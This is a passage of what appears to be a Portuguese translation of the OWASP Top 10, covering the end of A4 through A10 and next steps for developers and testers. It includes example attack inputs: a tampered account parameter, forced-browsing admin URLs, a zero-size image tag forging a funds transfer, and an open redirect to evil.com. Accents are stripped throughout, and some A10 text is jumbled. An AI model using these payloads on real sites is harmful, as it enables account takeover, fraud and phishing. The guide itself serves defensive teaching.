Reviso de cdigo da aplicao pode rapidamente verificar se qualquer abordagem implementada com segurana. Teste tambm efetivo para identificar referncias diretas a objetos e se elas so seguras. Ferramentas automatizadas normalmente no procuram por essa falha, porque elas no podem reconhecer o que requer proteo ou o que seguro ou inseguro.
2.

A aplicao utiliza dados no verificados em uma chamada SQL que est acessando as informaes de conta: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); O atacante simplesmente modifica o parmetro acct em seu navegador para enviar qualquer nmero de conta. Se no verificado adequadamente, o atacante pode acessar qualquer conta de usurio, em vez de somente a conta do cliente pretendido. http://example.com/app/accountInfo?acct=notmyacct
Referncias
OWASP
OWASP Top 10-2007 on Insecure Dir Object References ESAPI Access Reference Map API ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction() )
Para requisitos adicionais de acesso de controle, veja o ASVS requirements area for Access Control (V4).
Externas
CWE Entry 639 on Insecure Direct Object References CWE Entry 22 on Path Traversal (um exemplo de um ataque de
Referncia Direta a Objeto)
A5
Agentes de Ameaa
Configurao Incorreta de Segurana

Considere atacantes externos annimos, bem como usurios com suas prprias contas que podem tentar comprometer o sistema. Considere tambm algum internamente querendo disfarar suas aes.
Explorao FCIL
Atacante acessa contas padro, pginas no utilizadas, falhas no corrigidas, arquivos e diretrios desprotegidos, etc, para obter acesso no autorizado ou conhecimento do sistema.
Prevalncia COMUM
Deteco FCIL
Impacto MODERADO
Tais falhas frequentemente permitem aos atacantes acesso no autorizado a alguns dados ou funcionalidade do sistema. Ocasionalmente, resultam no comprometimento completo do sistema.

O sistema poderia ser completamente comprometido sem voc saber. Todos os seus dados podem ser roubados ou modificados lentamente ao longo do tempo. Custos de recuperao podem ser caros.
Configuraes incorretas podem acontecer em qualquer nvel da pilha da aplicao, incluindo a plataforma, servidor web, servidor de aplicao, banco de dados, framework e cdigo personalizado. Desenvolvedores e administradores de sistemas precisam trabalhar juntos para garantir que toda a pilha esteja configurada corretamente. Scanners automatizados so teis para detectar falta de atualizaes, erros de configurao, uso de contas padro, servios desnecessrios, etc.
Estou vulnervel?
Est faltando a adequada proteo da segurana em qualquer parte da pilha de aplicao? Incluindo: 1. Algum software est desatualizado? Isto inclui o SO, servidor web/aplicao, SGBD, aplicaes, e todas as bibliotecas de cdigo (ver novo A9). 2. Existem recursos desnecessrios ativados ou instalados (por exemplo, portas, servios, pginas, contas, privilgios)? 3. Contas padro e suas senhas ainda esto habilitadas e no foram alteradas? 4. Ser que o tratamento de erros revelam rastreamentos de pilha ou outras mensagens de erro excessivamente informativas para os usurios? 5. As configuraes de segurana em seus frameworks de desenvolvimento (por exemplo, Struts, Spring, ASP.NET) e bibliotecas esto definidas para proteger os valores? Sem um processo recorrente de configurao de segurana, seus sistemas esto expostos a um risco mais elevado.

As recomendaes primrias so para estabelecer todas as medidas: 1. Um processo de hardening recorrente que torne fcil e rpido de implantar outro ambiente que est devidamente blindado. Ambientes de desenvolvimento, controle de qualidade e produo devem ser todos configurados de forma idntica (com senhas diferentes usadas em cada ambiente). Este processo deve ser automatizado para minimizar o esforo necessrio para configurar um novo ambiente seguro. 2. Um processo para se manter a par e implantar todas as novas atualizaes e correes de software em tempo hbil e em para cada ambiente. Este processo, deve incluir todas as bibliotecas de cdigo (ver novo A9). 3. Uma arquitetura de aplicao forte que fornea a separao segura e eficaz entre os componentes. 4. Considere executar varreduras e fazer auditorias periodicamente para ajudar a detectar erros futuros de configurao ou correes ausentes.

Cenrio #1: O console de administrao do servidor de aplicao instalado automaticamente e no removido. Contas padro no so alteradas. Atacantes descobrem as pginas padro de administrao que esto em seu servidor, fazem login com senhas padro e assumem o acesso do ambiente. Cenrio #2: A listagem de diretrios no est desativada em seu servidor. O atacante descobre que pode simplesmente listar os diretrios para encontrar qualquer arquivo. Atacante encontra e transfere todas as suas classes Java compiladas, e pode decompilar e fazer engenharia reversa para obter todo o seu cdigo customizado. Assim, ele encontra uma falha grave de acesso de controle em sua aplicao. Cenrio #3: Configurao do servidor de aplicao permite que os rastreamentos de pilha sejam devolvidos aos usurios, potencialmente expondo falhas potenciais. Atacantes adoram as mensagens de erro que fornecem informaes extras. Cenrio #4: servidor de aplicao vem com exemplos que no so removidos do seu servidor de produo. Aplicaes de exemplo tm falhas de segurana conhecidas que os atacantes podem usar para comprometer o seu servidor.
Referncias
OWASP
OWASP Development Guide: Chapter on Configuration OWASP Code Review Guide: Chapter on Error Handling OWASP Testing Guide: Configuration Management OWASP Testing Guide: Testing for Error Codes OWASP Top 10 2004 - Insecure Configuration Management Para requisitos adicionais nesta rea, veja ASVS requirements area for Security Configuration (V12).
Externas
PC Magazine Article on Web Server Hardening CWE Entry 2 on Environmental Security Flaws CIS Security Configuration Guides/Benchmarks
A6
Agentes de Ameaa
Exposio de Dados Sensveis

Considere quem pode ter acesso aos seus dados sensveis e backups desses dados. Incluindo os dados em repouso, em trfego, e at mesmo nos navegadores de seus clientes. Inclua tanto ameaas externas como internas.
Explorao DIFCIL
Os atacantes normalmente no quebram diretamente a criptografia. Eles exploram de outra forma, como roubar chaves, aplicar ataques do tipo man-in-the-middle, ou roubar dados em texto claro fora do servidor, enquanto transitam, ou a partir do navegador do usurio.
Prevalncia RARA
Deteco MDIA
Impacto SEVERO
A falha frequentemente compromete todos os dados que deveriam ter sido protegidos. Normalmente, essas informaes incluem dados sensveis tais como registros mdicos, credenciais de acesso, dados pessoais, cartes de crdito, etc.

Considere o valor de negcio dos dados perdidos e o impacto para sua reputao. Qual a sua responsabilidade legal se estes dados forem expostos? Considere tambm os danos sua reputao.
A falha mais comum simplesmente no criptografar dados sensveis. Quando a criptografia utilizada, a gerao e gerenciamento de chaves fraca, alm da utilizao de algoritmos e tcnicas de hashing fracos. Vulnerabilidades no navegador so comuns e fcil de detectar, mas so difceis de explorar em larga escala. Atacantes externos tem dificuldade em detectar falhas no lado do servidor, devido ao acesso limitado e tambm so geralmente mais difceis de explorar.
Estou vulnervel?
A primeira coisa que voc deve determinar quais dados so sensveis o suficiente para exigir proteo extra. Por exemplo, senhas, nmeros de carto de crdito, registros mdicos e informaes pessoais devem ser protegidas. Para todos esses dados: 1. 2. 3. 4. 5. Qualquer um desses dados armazenado em texto claro a longo prazo, incluindo backups de dados? Qualquer um desses dados transmitido em texto claro, internamente ou externamente? O trfego de internet especialmente perigoso. Algum algoritmo de criptografia utilizado fraco ou defasado? As chaves criptogrficas geradas so fracas, ou elas possuem um gerenciamento ou rodzio de forma adequada? Algumas diretivas de segurana do navegador ou cabealhos esto ausentes quando os dados sensveis so fornecidos/enviados ao navegador?

Os perigos completos da criptografia insegura, o uso de SSL e proteo de dados esto muito alm do escopo do Top 10. Dito isto, no mnimo, faa todas as recomendaes: 1. Considerando que voc pretende proteger os dados de ameaas (como por exemplo, ataque interno ou de usurio externo), tenha a certeza de criptografar todos os dados sensveis em repouso e em trnsito de uma forma que iniba estas ameaas. 2. No armazene dados sensveis desnecessariamente. Descarte-os o mais rpido possvel. Dados que voc no tem no podem ser roubados. 3. Certifique-se que o nvel utilizado nos algoritmos e chaves so fortes, e que o gerenciamento de chaves est aplicado adequadamente. Considere utilizar os mdulos criptogrficos validados do FIPS-140. 4. Certifique-se que as senhas so armazenadas com um algoritmo projetado especialmente para a proteo de senhas, como o bcrypt, PBKDF2 ou scrypt. 5. Desabilite o autocompletar em formulrios de coleta de dados sensveis e desabilite o cache em pginas que contenham dados sensveis.
Para um conjunto mais completo de problemas a serem evitados, consulte reas do ASVS de Criptografia (V7), Proteo de dados (V9), e SSL (V10).

Cenrio #1: Uma aplicao criptografa nmeros de carto de crdito em um banco de dados usando a criptografia automtica do banco de dados. No entanto, isso significa que tambm descriptografa esses dados automaticamente quando recuperados, permitindo uma falha de injeo SQL para recuperar os nmeros de carto de crdito em texto claro. O sistema deveria ter criptografado os nmeros de carto de crdito atravs de uma chave pblica, e s permitir a descriptografia por aplicaes de back-end com a chave privada. Cenrio #2: Um site simplesmente no usa SSL em todas as pginas autenticadas. O atacante simplesmente monitora o trfego de rede (como uma rede wireless aberta), e rouba o cookie de sesso do usurio. O atacante ento reproduz este cookie e sequestra a sesso do usurio, acessando dados privados do mesmo. Cenrio #3: O banco de dados de senhas dos usurios usa hashes simples (unsalted) para armazenar as senhas de todos. Uma falha de upload de arquivos permite que um atacante recupere o arquivo de senhas. Todos os hashes simples podero ser expostos atravs de uma rainbow table de hashes pr-calculados.
Referncias
OWASP - Para um conjunto mais completo de requisitos, consulte
Requisitos do ASVS na Criptografia (V7), Proteo de Dados (V9) e Segurana das Comunicaes (V10) OWASP Cryptographic Storage Cheat Sheet OWASP Password Storage Cheat Sheet OWASP Transport Layer Protection Cheat Sheet OWASP Testing Guide: Chapter on SSL/TLS Testing Externas CWE Entry 310 on Cryptographic Issues CWE Entry 312 on Cleartext Storage of Sensitive Information CWE Entry 319 on Cleartext Transmission of Sensitive Information CWE Entry 326 on Weak Encryption
A7
Agentes de Ameaa
Falta de Funo para Controle do Nvel de Acesso

Qualquer um com acesso rede pode enviar uma requisio para a sua aplicao. Usurios annimos poderiam acessar funcionalidades privadas ou usurios normais acessarem uma funo privilegiada?
Explorao FCIL
O atacante, que um usurio autorizado no sistema, simplesmente muda a URL ou um parmetro para uma funo privilegiada. O acesso concedido? Usurios annimos podem acessar funes privadas que no so protegidas.
Prevalncia COMUM
Deteco MDIO
Impacto MODERADO
Tais falhas permitem aos atacantes acessarem funcionalidades no autorizadas. Funes administrativas so os principais alvos para esse tipo de ataque.

Considere o valor de negcio das funes expostas e os dados que elas processam. Tambm considere o impacto para sua reputao se essa vulnerabilidade se tornar pblica.
Aplicaes nem sempre protegem adequadamente as funo de aplicao. s vezes, a proteo em nvel de funo gerenciada via configurao, e o sistema mal configurado. s vezes, desenvolvedores devem incluir verificaes de cdigo adequadas, e eles esquecem. A deteco de tais falhas fcil. A parte mais difcil identificar em quais pginas (URLs) ou funes existem para atacar.
Estou Vulnervel?
A melhor maneira para descobrir se uma aplicao falha em restringir adequadamente o acesso em nvel de funo verificar todas as funes da aplicao: 1. 2. 3. A UI mostra a navegao para as funes no autorizadas? No lado do servidor falta verificao de autenticao ou autorizao? No lado do servidor as verificaes feitas dependem apenas de informaes providas pelo atacante?

Sua aplicao deveria ter um mdulo de autorizao consistente e fcil de analisar que seja chamado por todas as suas funes de negcio. Frequentemente, tal proteo fornecida por um ou mais componentes externos ao cdigo da aplicao. 1. 2. Pense sobre o processo para gerenciar os direitos e garantir que voc possa atualizar e auditar facilmente. No codifique diretamente. A execuo de mecanismos deve negar todo o acesso por padro, exigindo direitos explcitos para papis especficos no acesso a todas as funes. Se a funo est envolvida em um fluxo de trabalho, verifique, para ter certeza, se as condies esto em estado adequado para permitir acesso.
Utilizando um proxy, navegue sua aplicao com um papel privilegiado. Ento revisite pginas restritas utilizando um papel menos privilegiado. Se as respostas do servidor so iguais, voc provavelmente est vulnervel. Alguns testes de proxies suportam diretamente esse tipo de anlise. Voc pode tambm verificar a implementao do controle de acesso no cdigo. Tente seguir uma nica requisio privilegiada atravs do cdigo e verifique o padro de autorizao. Ento pesquise o cdigo base para encontrar onde o padro no est sendo seguido. Ferramentas automatizadas so improvveis de encontrar esses problemas.
3.
NOTA: Muitas das aplicaes web no mostram links e botes para funes no autorizadas, mas esse "controle de acesso na camada de apresentao" na verdade no fornece proteo. Voc tambm deve implementar verificaes na lgica do controlador ou do negcio.

Cenrio #1: O atacante simplesmente fora a navegao pelas URLs alvo. As seguintes URLs exigem autenticao. Direitos de administrador tambm so exigidos para acessar a pgina admin_getappInfo . http://example.com/app/getappInfo http://example.com/app/admin_getappInfo Se um usurio no autenticado pode acessar qualquer pgina, isso uma falha. Se um usurio autenticado, no administrador, tem permisso para acessar a pgina admin_getappInfo, isso tambm uma falha, e pode levar o atacante para mais pginas de administrao inadequadamente protegidas. Cenrio #2: Uma pgina fornece um parmetro action para especificar a funo que est sendo chamada, e diferentes aes exigem papis diferentes. Se esses papis no so aplicados, isso uma falha.
Referncias
OWASP
OWASP Top 10-2007 on Failure to Restrict URL Access
ESAPI Access Control API

OWASP Development Guide: Chapter on Authorization OWASP Testing Guide: Testing for Path Traversal OWASP Article on Forced Browsing Para requisitos adicionais de acesso de controle, veja o ASVS requirements area for Access Control (V4).
Externas
CWE Entry 285 on Improper Access Control (Authorization)
A8
Agentes de Ameaa
Cross-Site Request Forgery (CSRF)

Considere qualquer pessoa que possa carregar contedo nos navegadores dos usurios, e assim for-los a fazer uma requisio para seu site. Qualquer site ou outro servio html que usurios acessam pode fazer isso.
Explorao MDIO
O atacante forja requisies HTTP falsas e engana uma vitima submetendo-a a um ataque atravs de tags de imagem, XSS, ou inmeras outras tcnicas. Se o usurio estiver autenticado, o ataque bem sucedido.
Prevalncia COMUM
Deteco FCIL
Impacto MODERADO
Os atacantes podem enganar suas fazendo com que executem operaes de mudana de estado que a vtima est autorizada a realizar, por ex., atualizando detalhes da sua conta, comprando, deslogando ou at mesmo efetuando login.

Considere o valor de negcio dos dados ou funes afetadas da aplicao. Imagine no ter a certeza se os usurios tem a inteno de realizar tais aes. Considere o impacto na sua reputao.
O CSRF se aproveita do fato de que a maioria das aplicaes web permitem que os atacantes prevejam todos os detalhes de uma ao particular da aplicao. Como os navegadores automaticamente trafegam credenciais como cookies de sesso, os atacantes podem criar pginas web maliciosas que geram requisies forjadas indistinguveis das legtimas. Deteco de falhas de CSRF bastante simples atravs de testes de penetrao ou de anlise de cdigo.
Estou vulnervel?
Para verificar se uma aplicao vulnervel, verifique se quaisquer links e formulrios no possuam um token imprevisvel de CSRF. Sem um token, os atacantes podem forjar requisies maliciosas. Uma alternativa de defesa solicitar que o usurio prove a inteno de submeter a requisio, seja atravs de uma autenticao, ou alguma outra prova de que um usurio real (por exemplo, um CAPTCHA). Concentre-se nos links e formulrios que invocam funes de mudana de estado, uma vez que esses so os alvos mais importantes de um CSRF. Voc deve verificar as transaes em vrias etapas, j que elas no so inerentemente imunes. Os atacantes podem facilmente forjar uma srie de requisies usando mltiplas tags ou possivelmente Java Script. Note que os cookies de sesso, endereos IP de origem, e outras informaes que so enviadas automaticamente pelo navegador no fornecem nenhuma defesa contra CSRF uma vez que elas tambm so includas nas requisies forjadas. A ferramenta de teste do OWASP CSRF Tester pode auxiliar com gerao de casos de teste para demonstrar os perigos das falhas de CSRF.

A preveno de um CSRF geralmente requer a incluso de um token imprevisvel em cada requisio HTTP. Tais tokens devem, no mnimo, ser nicos por sesso de usurio. 1. A opo preferida consiste em incluir um token nico em um campo oculto. Isso faz com que o valor seja enviado no corpo da requisio HTTP, evitando-se a sua insero na URL, que mais propensa a exposio. O token nico pode ser includo na prpria URL, ou em parmetros da URL. Contudo, tal posicionamento corre um risco maior j que a URL ser exposta ao atacante, comprometendo assim o token secreto.
2.
O CSRF Guard do OWASP pode incluir tokens automaticamente em aplicaes Java EE, .NET ou PHP. A ESAPI do OWASP disponibiliza mtodos para desenvolvedores utilizarem na preveno de vulnerabilidades de CSRF. 3. Exigir que o usurio autentique novamente, ou provar que so realmente um usurio (por exemplo, atravs de CAPTCHA) tambm pode proteger contra CSRF.

A aplicao permite que um usurio submeta uma requisio de mudana de estado que no inclui qualquer segredo. Por exemplo: http://exemplo.com/app/transferirFundos?quantia=1500 &contaDestino=4673243243 Com isso, o atacante constri uma requisio que ir transferir dinheiro da conta da vtima para a conta do atacante, e ento incorpora este ataque em uma requisio armazenada em uma imagem ou iframe em vrios sites sob o controle do atacante: <img src="http://exemplo.com/app/transferirFundos? quantia=1500&contaDestino=contaAtacante# width="0" height="0" /> Se a vtima visitar qualquer um dos sites do atacante enquanto estiver autenticado em exemplo.com, essas requisies forjadas iro incluir automaticamente informaes de sesso do usurio, autorizando o pedido do atacante.
Referncias
OWASP
OWASP CSRF Article OWASP CSRF Prevention Cheat Sheet OWASP CSRFGuard - CSRF Defense Tool ESAPI Project Home Page ESAPI HTTPUtilities Class with AntiCSRF Tokens OWASP Testing Guide: Chapter on CSRF Testing OWASP CSRFTester - CSRF Testing Tool
Externas
CWE Entry 352 on CSRF
A9
Agentes de Ameaa
Utilizao de Componentes Vulnerveis Conhecidos

Alguns componentes vulnerveis (por exemplo, bibliotecas de framework) podem ser identificadas e exploradas com ferramentas automatizadas, expandindo o leque de agentes de ameaa incluindo, alm de atacantes direcionados, atores caticos.
Explorao MDIO
O atacante identifica um componente vulnervel atravs de varredura ou anlise manual. Ele personaliza o exploit conforme necessrio e executa o ataque. Isso se torna mais difcil se o componente usado est mais profundo na aplicao.
Prevalncia GENERALIZADA
Deteco DIFCIL
Impacto MODERADO
A gama completa de vulnerabilidades possvel, incluindo injeo, falha no controle de acesso, XSS, etc. O impacto poderia variar do mnimo ao completo comprometimento do servidor e dos dados.

Considere o que cada vulnerabilidade pode significar para o negcio controlado pela aplicao afetada. Ela pode ser trivial ou pode significar o comprometimento completo.
Virtualmente todas aplicaes possuem estes problemas porque a maioria dos times de desenvolvimento no focam em garantir que seus componentes e/ou bibliotecas estejam atualizados. Em muitos casos, os desenvolvedores sequer conhecem todos os componentes que esto usando, muito menos suas verses. Dependncias de componentes tornam a situao ainda pior.
Estou vulnervel?
Em teoria, deveria ser fcil de descobrir se voc est atualmente utilizando quaisquer componentes ou bibliotecas vulnerveis. Infelizmente, relatrios de vulnerabilidades de software comercial ou livre nem sempre especificam exatamente quais verses de um componente esto vulnerveis de uma forma padro, pesquisvel. Alm disso, nem todas as bibliotecas utilizam um sistema de numerao de verses compreensvel. Pior ainda, nem todas as vulnerabilidades so reportadas para um local central que seja fcil de pesquisar, apesar de sites como CVE e NVD estejam se tornando mais fceis de pesquisar. Determinar se voc est vulnervel requer pesquisar nesses bancos de dados, bem como manter-se a par de listas de e-mails e anncios para qualquer coisa que possa ser uma vulnerabilidade. Se um de seus componentes tiver uma vulnerabilidade, voc deve avaliar cuidadosamente se est realmente vulnervel verificando se seu cdigo utiliza a parte do componente com a vulnerabilidade e se a falha poderia resultar em um impacto que preocupe voc.

Uma opo no usar componentes que voc no escreve. Mas isso no muito realista. Muitos projetos de componentes no criam correes de vulnerabilidades para verses antigas. Em vez disso, mais simples corrigir o problema na prxima verso. Ento atualizar para essas novas verses crtico. Projetos de software devem ter processos para: 1) 2) Identificar todos os componentes e as verses que voc est utilizando, incluindo todas as dependncias. (ex., verses dos plugins). Monitorar a segurana desses componentes em banco de dados pblicos, listas de e-mail de projetos e segurana, e mant-los atualizados. Estabelecer polticas de segurana que definam o uso do componente, assim como exigir certas prticas de desenvolvimento de software, passando em testes de segurana, e licenas aceitveis. Quando apropriado, considere a adio de invlucros de segurana em torno dos componentes para desabilitar funcionalidades no utilizadas e/ou proteger falhas ou aspectos vulnerveis do componente.
3)
4)
Exemplo de Cenrios de Ataque

Vulnerabilidades de componentes podem causar quase qualquer tipo de risco imaginvel, variando do malware trivial ao sofisticado desenvolvido para atingir uma organizao especfica. Componentes quase sempre executam com todos os privilgios de uma aplicao, ento falhas em qualquer componente podem ser srias. Os dois seguintes componentes vulnerveis foram baixados 22m de vezes em 2011. Apache CXF Authentication Bypass Ao no fornecer um token de identidade, atacantes podem chamar qualquer servio web com todas as permisses. (Apache CXF um framework de servios, no deve ser confundido com o Servidor de Aplicao Apache.) Spring Remote Code Execution Abuso da implementao de Linguagem Expression no Spring permitiu aos atacantes executarem cdigo arbitrrio, efetivamente comprometendo o servidor.
Referncias
OWASP
Good Component Practices Project
Externas
The Unfortunate Reality of Insecure Libraries Open Source Software Security Addressing Security Concerns in Open Source Components
MITRE Common Vulnerabilities and Exposures

Example Mass Assignment Vulnerability that was fixed in ActiveRecord, a Ruby on Rails GEM
Toda aplicao utilizando qualquer dessas bibliotecas vulnerveis est vulnervel a ataques j que ambos componentes so diretamente acessveis por usurios da aplicao. Outras bibliotecas vulnerveis, usadas mais profundamente em uma aplicao, podem ser mais difceis de explorar.
A10
Agentes de Ameaa
Redirecionamentos e Encaminhamentos Invlidos

Considere quem possa enganar seus usurios para que enviem uma solicitao ao seu site. Qualquer site ou feed HTML que seus usurios utilizam poderia fazer isso.
Explorao MDIA
O atacante aponta para um redirecionamento invlido e engana as vtimas para que cliquem nele. As vtimas so mais propensas a clicar, j que o link aponta para um site vlido. O atacante visa um encaminhamento inseguro para evitar verificaes de segurana.
Prevalncia RARA
Deteco FCIL
Impacto MODERADO

Considere o valor de negcio da manuteno da confiana de seus. E se eles forem infectados por malware? E se atacantes puderem acessar funes que deveriam ser somente internas?
Aplicaes frequentemente redirecionam usurios para outras pginas, ou usam encaminhamentos internos de uma maneira similar. Por vezes a pgina de destino especificada atravs de um parmetro que no validado, permitindo que o atacante escolha essa pgina de destino.
Tais redirecionamentos podem tentar instalar malware ou enganar vtimas para que divulguem suas senhas ou outras informaes sensveis. Encaminhamentos Detectar redirecionamentos invlidos fcil. inseguros podem Procure por aqueles onde voc pode definir a permitir contornar os URL completa. Encaminhamen-tos invlidos controles de acesso. so mais difceis, pois eles tm como alvo pginas internas.
Estou vulnervel?
A melhor forma de verificar se uma aplicao possui redirecionamentos ou encaminhamentos no validados :
1. Revise o cdigo de todos os usos de redirecionamentos ou encaminhamentos (chamados de transferncia em .NET). Para cada uso, identifique se a URL de destino est includa em quaisquer valores de parmetro. Caso a URL de destino no seja validada em uma lista branca, voc est vulnervel. Tambm, varra o site para verificar se ele gera algum redirecionamento (cdigos de resposta HTTP 300-307, tipicamente 302). Olhe para os parmetros fornecidos antes do redirecionamento para verificar se eles parecem ser uma URL de destino ou apenas parte dela. Se sim, altere a URL de destino e observe se o site redireciona para o novo destino. Se o cdigo no estiver disponvel, verifica todos os parmetros para identificar se eles parecem ser parte de um redirecionamento ou encaminhamento e teste todos.

Uso seguro de redirecionamentos e encaminhamentos pode ser feito de vrias formas: 1. Simplesmente evitar us-los. 2. Se forem usados, no envolva parmetros do usurio no clculo do destino. Normalmente, isto pode ser feito. 3. Se os parmetros de destino no podem ser evitados, tenha certeza que o valor fornecido vlido, e autorizado para o usurio. Recomenda-se que qualquer parmetro de destino seja um valor mapeado, e no a URL real ou parte dela, e que o cdigo do lado do servidor traduza este mapeamento para a URL de destino. Aplicaes podem usar ESAPI para substituir o mtodo sendRedirect() para certificarem-se de que todos os destinos do redirecionamento so seguros. Evitar tais falhas extremamente importante j que elas so o alvo favorito de phishers tentando obter a confiana do usurio.
2.
3.

Cenrio #1: A aplicao possui uma pgina chamada redirect.jsp que recebe apenas um parmetro url. O atacante cria uma URL maliciousa que redireciona os usurios para o site malicioso, que executa phishing e instala malware. http://www.example.com/redirect.jsp?url=evil.com Cenrio #2: A aplicao usa encaminhamentos para rotear requisies entre partes diferentes do site. Para facilitar, algumas pginas usam um parmetro para indicar onde o usurio deve ser enviado se a transao for efetuada com sucesso. Neste caso, o atacante cria uma URL que ir passar pela verificao de controle de acesso e encaminh-lo para uma funcionalidade administrativa que o atacante no teria autorizao para acess-la. http://www.example.com/boring.jsp?fwd=admin.jsp
Referncias
OWASP
OWASP Article on Open Redirects ESAPI SecurityWrapperResponse sendRedirect() method
Externas
CWE Entry 601 on Open Redirects WASC Article on URL Redirector Abuse Google blog article on the dangers of open redirects OWASP Top 10 for .NET article on Unvalidated Redirects and Forwards
+D
Prximos Passos para Desenvolvedores
Estabelecer e Usar Processos de Segurana Consistentes e Controles de Segurana Padronizados

Se a segurana de aplicaes de web um tema novo para voc, ou mesmo que j esteja bem familiarizado com esses riscos, a tarefa de criar uma aplicao web segura ou corrigir uma aplicao web que j existe pode ser bastante difcil. Se voc gerencia um portfolio de aplicaes de tamanho considervel, isso pode ser intimidante. Para ajudar organizaes e desenvolvedores a reduzir os riscos de segurana de suas aplicaes de uma forma econmica, o OWASP criou vrios recursos livres e abertos que podem ser usados visando a segurana de aplicaes na sua empresa. A seguir se encontram alguns dos muitos recursos que o OWASP criou para ajudar organizaes a produzir aplicaes web seguras. Na pgina seguinte apresentamos recursos adicionais do OWASP que podem ajudar a verificar a segurana das aplicaes.
Requisitos de Segurana de Aplicaes
Para desenvolver uma aplicao web segura necessrio definir o que significa segurana para essa aplicao. O OWASP recomenda usar o Padro de Verificao de Segurana de Aplicaes (ASVS) como guia para configurar os requisitos de segurana da(s) sua(s) aplicao(es). Se estiver terceirizando, considerar o Anexo do Contrato de Software Seguro do OWASP.
Arquitetura de Segurana de Aplicaes
Ao invs de adicionar segurana a suas aplicaes, muito mais econmico projetar a segurana desde o princpio. O OWASP recomenda O Guia do Desenvolvedor OWASP e as Dicas de Preveno do OWASP como pontos de partida para projetar segurana desde o incio.
Controles de Segurana Padronizados
Construir controles de segurana fortes e fceis de usar extremamente difcil. Um conjunto de controles de segurana padronizados simplifica radicalmente o desenvolvimento de aplicaes seguras. O OWASP recomenda o Projeto da API de Segurana Empresarial do OWASP (ESAPI) como modelo de API de segurana necessria para produzir aplicaes web seguras. A ESAPI tem implementaes de referncia em Java, .NET, PHP, ASP Clssico, Python, e Cold Fusion.
Segurana do Ciclo de Vida do Desenvolvimento
Para melhorar o processo que a sua organizao segue ao desenvolver aplicaes, o OWASP recomenda o Modelo de Maturidade de Garantia do Software (SAMM). Este modelo ajuda a organizao a formular e implementar estratgias para segurana de software customizadas para os riscos especficos que a organizao enfrenta.
Educao em Segurana de Aplicaes
O Projeto de Educao OWASP oferece material de treinamento para ajudar a educar desenvolvedores em segurana de aplicaes web e uma lista extensa de Apresentaes Educacionais do OWASP. Para treinamento prtico sobre vulnerabilidades, use o WebGoat OWASP, WebGoat.NET, ou o Projeto OWASP Broken Web Applications. Para se manter atualizado, participe de uma Conferncia AppSec do OWASP, um Evento de Treinamento OWASP, ou de reunies de um Captulo local do OWASP.
Numerosos recursos adicionais do OWASP esto disponveis. Visite a Pgina de Projetos OWASP, l esto listados todos os projetos OWASP, organizados por tipo de verso dos projetos (Release Quality, Beta, ou Alfa). A maioria dos recursos OWASP est disponvel na pgina de wiki, e muitos documentos do OWASP podem ser solicitados em formato Impresso ou eBook.
+V
Organize-se
Prximos Passos para Verificadores
Para verificar a segurana da aplicao web que voc desenvolveu, ou de uma aplicao que esteja considerando adquirir, o OWASP recomenda verificar o cdigo fonte da mesma (se disponvel), bem como testar a aplicao. O OWASP recomenda combinar a reviso de segurana do cdigo com o teste de invaso sempre que possvel, pois isto permite aproveitar as vantagens das duas tcnicas, aliado ao fato que as duas se complementam. As ferramentas para ajudar no processo de verificao podem melhorar a eficincia e a eficcia de um analista experiente. As ferramentas de verificao do OWASP so focadas em ajudar o especialista a ser mais eficaz, ao invs de simplesmente automatizar o processo de anlise. Padronizando o Processo de Verificao da Segurana em Aplicaes Web: Para ajudar as organizaes a desenvolver consistncia e um nvel definido de rigor ao avaliar a segurana de aplicaes web, OWASP criou o Padro de Verificao de Segurana de Aplicaes (ASVS). Este documento define um padro mnimo de verificao para testar a segurana de aplicaes web. OWASP recomenda usar o ASVS no apenas para saber o que procurar quando for verificar a segurana da aplicao, mas tambm para saber quais tcnicas so mais apropriadas, e para ajudar a definir e selecionar o nvel de rigor dessa verificao. O OWASP tambm recomenda usar o ASVS para ajudar a definir e selecionar os tipos de servios de verificao de terceiros, se for contratar este servio. Conjunto de Ferramentas de Verificao: O Projeto OWASP Live CD compilou algumas das melhores ferramentas abertas de segurana em um ambiente nico ou em uma mquina virtual (VM). Desenvolvedores web, responsveis pelos testes e profissionais de segurana podem dar partida no seu sistema usando o CD ou executando a mquina virtual para acessar um conjunto completo de testes de segurana. No necessrio instalar ou configurar nada para usar as ferramentas do CD.
Reviso de Cdigo
A reviso do cdigo fonte particularmente til para verificar se os mecanismos de segurana da aplicao so robustos, assim como para encontrar problemas difceis de identificar simplesmente examinando os resultados da aplicao. Testar a aplicao particularmente til para provar que as falhas so de fato explorveis. Esses mtodos so complementares e at redundantes em algumas reas. Revisando o Cdigo: Para acompanhar o Guia do Desenvolvedor OWASP e o Guia de Teste OWASP, o OWASP criou o Guia de Reviso de Cdigo OWASP para ajudar os desenvolvedores e os especialistas em segurana de aplicaes a entender como revisar uma aplicao web eficientemente e de maneira eficaz. Inmeros problemas de segurana em aplicaes web, tais como Falhas de Injeo, podem ser mais fceis de detectar atravs da reviso do cdigo do que por testes externos. Ferramentas para Reviso de Cdigo: OWASP tem feito um trabalho promissor de ajuda aos especialistas na anlise de cdigo, mas essas ferramentas esto ainda em fase inicial. Os autores das ferramentas usam as mesmas diariamente, mas no-especialistas podem ach-las difceis de usar. Entre estas ferramentas esto CodeCrawler, Orizon e O2. Somente a O2 est em desenvolvimento ativo desde a ltima verso dos Top 10 de 2010. Existem outras ferramentas abertas para reviso de cdigo. A mais promissora delas a FindBugs, e seu novo plug-in voltado a segurana: FindSecurityBugs, ambos para Java.
Segurana e Teste de Invaso

Testando a Aplicao: OWASP criou o Guia de Testes para ajudar desenvolvedores, responsveis por testes e especialistas em segurana de aplicaes a testar a segurana de aplicaes web eficientemente e de maneira eficaz. Esse guia enorme, elaborado por dezenas de contribuintes, apresenta uma cobertura extensa em muitos tpicos de testes de segurana para aplicaes web. Da mesma forma que a reviso de cdigo tem seus pontos fortes, os testes de segurana tambm tem suas vantagens. bastante convincente quando se consegue provar que a aplicao insegura mostrando a explorao da vulnerabilidade. Existem muitos outros problemas , particularmente a segurana da infraestrutura da aplicao, que no podem ser vistos simplesmente com uma reviso de cdigo, j que a aplicao no prov segurana por si prpria. Ferramentas para Testes de Invaso: WebScarab, que foi um dos projetos OWASP mais usados, e a nova ZAP, que agora ainda mais popular, so ambas proxies de testes de aplicaes web. Essas ferramentas permitem que analistas de segurana e desenvolvedores interceptem pedidos s aplicaes web, de modo a entender como a aplicao trabalha, e submeter pedidos de teste para verificar se a aplicao 